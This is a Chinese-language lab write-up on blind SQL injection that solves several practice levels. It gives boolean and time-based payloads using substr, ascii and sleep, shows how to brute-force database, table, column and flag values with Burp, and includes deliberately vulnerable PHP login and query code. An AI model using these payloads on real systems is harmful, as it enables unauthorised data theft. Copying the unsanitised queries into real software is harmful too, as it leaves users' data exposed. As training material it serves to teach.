当目标存在注入点,但是没有回显时,使用一些方法进行判断或者尝试得到数据——盲注
布尔只有Ture和Fales,也就是只会根据注入信息返回ture和fales,没有相关报错信息
界面返回值只有一种,ture。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看网站页面返回时间差来判断注入的语句是否正确。
返回字符串的长度
length('abc')=3
?id=1 and length(database())>1
如果要使用子查询,length() 函数内还要加一个()
比如 length((select username from admin where id=1))
substr(字符串,第几位开始,截取几个)
截取字符串 , 从第一位截取一个
?id=1 and substr(database(),1,1)='k'
substr(内容,1,1) 显示第一个字符
返回字符的ascii码`ascii('a')=97`
?id=1 and ascii(substr(database(),1,1))=107
延时函数
sleep(n) 将程序挂起一段时间n为n秒
比如 and if (ascii(substr(database(),1,1))>1,sleep(3),1)
【语句含义:查询当前库名的第一个字母的ascii码是否大于1,大于则延时3秒,不大于则不延时】
if(expr1,expr2,expr3)
判断语句 如果第一个语句正确,就执行第二个语句,如果错误执行第三个语句
and If(length(database())=8,1,sleep(5))
【语句含义:判断当前所在库名字符长度是否等于8,不等于则延时5秒,等于则不延时】
and (length(database()))>9 -- qwe
【返回正常,则说明数据库名长度大于9】
and (ascii(substr(database(),1,1)))=107 -- qwe
【返回正常,说明数据库名称第一位是k,k对应的ascii码为107】
and substr(database(),1,1)='k' -- qwe
【返回正常,说明数据库名称第1位是k】
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 -- qwe
【页面返回正常,说明当前数据库第一个表长度是6】
and substr((select column_name from information_schema.columns where table_name=’loflag’ limit 0,1),1,1)='i' -- qwe
【返回正常,说明loflag表中的列名称第一位是i】
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122 -- qwe
【返回正常,说明loflag表中 flaglo字段下的第1条数据的第一个字符 是 z ,122 是 z的ascii码】
发现页面是采用GET传参,并且SQL语句没用使用过滤,也不用考虑闭合的问题
注入步骤:
1、先猜测当前数据库名的长度
id=1 and (length(database()))=12
页面提示有数据说明,length()返回True,则数据库名长度为12
接着使用Burp直接进行枚举出库名
and (ascii(substr(database(),1,1)))= 97
【语句含义:数据库名第一位字符ascii码等于97,则页面会显示正常】
使用抓包枚举,然后看ascii编码表得到数据库名
抓包,然后发送到爆破模块,在相应位置添加变量
设置两个爆破参数
第一个爆破参数为 substr(database(),1,1) 第中间这个数字1
第二个爆破参数为 and (ascii(substr(database(),1,1)))= 97 数字97
设置爆破参数范围
设置爆破参数范围
第一个爆破参数代表着库名第几位字符,范围 1-12
比如substr(database(),1,1) 代表第1个字符
substr(database(),2,1) 则是第2个字符
以此类推
第二个爆破参数则是代表字符的ascii码,范围1-127
两个payload 第一个是1-12是数据库的长度,第二个是判断ascii编码的长度
得到相应的结果对应ascii编码表,得到数据库名
按照顺序,ascii编码为
107 97 110 119 111 108 111 110 103 120 105 97
所以数据库名为:
kanwolongxia
然后我们跑数据库下的表格
我们先判断表格的长度
and length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1))>1
第一个表格名长度为6
我们先跑出它的名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1 ))>1
抓包
添加变量(爆破参数)
第一个字段名:73 100 Id
应该和flag无关了,我们接着跑第二个字段名
第二个字段名长度为6
枚举具体的字段名
102 108 97 103 108 111
flaglo
这个字段名应该就是存放flag的了
我们先看看第一个数据长度为8
枚举出具体的数据
122 75 97 81 45 81 81 81
zKaQ-QQQ
符合flag 格式,提交
第二个数据长度为7
1、源码分析
$news ='';
@$id = $_GET['id'];
@$sql = 'select *from news where id="'.$id.'"';
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
$news = $row['news'];
}
if($news!== ''){
echo '有数据';}
简单看一下,好像和Pass-10没什么区别,只是多了一个"" 双引号闭合,这里提前闭合双引号再配合注释就可以解决
在第Pass-10的语句基础上加上 " -- qwe
1、猜库名长度语句:id=1" and (length(database()))=12 -- qwe
2、猜库名语句:id=1" and (ascii(substr(database(),1,1)))= 97 -- qwe
3、猜表名长度语句:id=1" length((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1))>1 -- qwe
4、猜表名语句:id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1 ))>1 -- qwe
.
.
........
按照Pass10步骤,最后拿到flag
122 75 97 81 45 82 68
zKaQ-RD
1、源码分析
$username = $_POST['username'];
$password = $_POST['password'];
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
mysqli_select_db($conn,'******'); //不想告诉你们库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
echo '成功登录';}
else{echo '账号密码错误';}
简单看看,这是个POST传参页面,并且是布尔型。
当账户密码错误时候会显示账号密码错误,当语句执行成功时页面会有变化,并提示登录成功,根据是否登录成功来判断值
注意,要闭合''单引号 使用' or 中间这里写SQL语句 -- qwe 闭合
' or length(database()) > 1 -- qwe
【判断数据库长度】
然后步骤如同Pass 10
最后拿到flag
122 75 97 81 45 77 111 114 101 110
zKaQ-Moren
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.